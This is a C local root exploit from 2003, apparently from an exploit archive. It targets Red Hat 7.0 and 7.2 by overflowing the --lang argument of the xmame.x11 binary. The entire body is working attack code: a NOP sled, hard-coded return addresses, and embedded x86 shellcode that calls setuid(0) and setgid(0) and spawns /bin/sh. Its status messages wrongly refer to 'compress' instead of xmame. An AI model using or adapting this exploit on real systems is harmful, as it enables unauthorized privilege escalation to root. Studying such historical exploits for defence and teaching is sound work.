Xmame local root exploit for Redhat 7.0 and 7.2 which overflows the --lang switch in /usr/local/bin/xmame.x11.
8dce5d3bb6bbe4081f8ca8af9f20e24a1da5ec801e3f803058e7c3e1025ce41f
/*
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Web: https://qb0x.net Author: Gabriel A. Maggiotti
Date: March 31, 2003 E-mail: gmaggiot@ciudad.com.ar
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*/
#include <stdio.h>
#define OFFSET 1058
#define NOP 0x90
#define NOP1 'B'
#define RET_70 0xbfffee00
#define RET_72 0xbfffedf0
int
main(int argc, char *argv[])
{
int i=0; char buf[OFFSET];
int c, ret;
unsigned char shellcode1[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
if(argc != 2) {
fprintf(stderr,"usage: %s <os_type> \n",argv[0]);
fprintf(stderr,"types:\n RedHat 7.0 - [1]");
fprintf(stderr,"\n RedHat 7.2 - [2]\n\n");
return 1;
}
c=atoi(argv[1]);
switch(c) {
case 1:
printf("Exploiting compress for RedHat 7.0\n");
ret = RET_70 - OFFSET;
break;
case 2:
printf("Exploiting compress for RedHat 7.2\n");
ret = RET_72 - OFFSET;
break;
}
for(i=0;i<=OFFSET-1 ;i++)
buf[i]=NOP;
for(i=OFFSET-301;i<=OFFSET-1 ;i+=4)
*(int *) &buf[i++] = ret;
memcpy(buf+200,shellcode1,strlen(shellcode1));
execl("/usr/local/bin/xmame.x11", "/usr/local/bin/xmame.x11","--lang", buf, NULL);
return 0;
}
/*
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